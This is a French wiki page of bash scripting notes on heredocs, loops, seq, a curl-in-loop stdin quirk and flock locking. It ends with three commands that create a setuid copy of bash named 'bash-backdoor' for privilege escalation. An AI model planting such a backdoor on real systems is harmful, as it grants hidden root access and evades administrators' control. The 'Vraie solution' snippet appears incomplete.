{{tag>Script Bash}} = Notes script bash Voir * https://linux.goffinet.org/administration/scripts-shell/ * http://pteu.fr/doku.php?id=informatique:linux:programmation_shell Voir aussi : * tinyramfs (implémentation initramfs écrite en shell POSIX == Variables === Fichier dans une variable - variable heredoc ETCHOSTS=$(cat << 'EOF' 10.245.97.221 node1 10.245.102.221 node1b EOF ) == Les boucles Voir aussi : * [[Notes parallel multithread multicore process shell|Les commandes Xargs et Find]] qui peuvent être des alternatives aux boucles === For for (( i=1; $i<=10; i=i+1 )) do echo $i done Voir exemple avec ''seq'' ci-dessous === seq #for i in $(seq 10) for i in $(seq 1 10) do echo $i done for i in {1..5} do echo $i done seq -f "%f" 3 0.8. 6 seq -f "%g/04/2018" 10 seq -s - 8 === pb curl break ''fic.lst'' foo bar ''plop_sleep.sh'' #! /bin/bash while read -r var do echo $var timeout 1 sleep inf done < fic.lst ''plop_curl.sh'' #! /bin/bash while read -r var do echo $var timeout 1 curl -s telnet://localhost:22 done < fic.lst $ ./plop_sleep.sh foo bar $ ./plop_curl.sh foo Contournement ''plop_curl_2.sh'' #! /bin/bash while read -r var do echo $var echo timeout 1 curl -s telnet://localhost:22 | bash -s -- done < fic.lst Vraie solution ''plop_curl_2.sh'' #! /bin/bash while read -r var do echo $var timeout 1 curl -s telnet://localhost:22 === Gérer les locks flock -n /tmp/plop.lock -c /opt/plop1.sh -c /opt/plop2.sh == bash Options === Bash suid binary privilege escalation sudo cp -p /usr/bin/bash /usr/bin/bash-backdoor sudo chmod u+s /usr/bin/bash-backdoor /usr/bin/bash-backdoor -p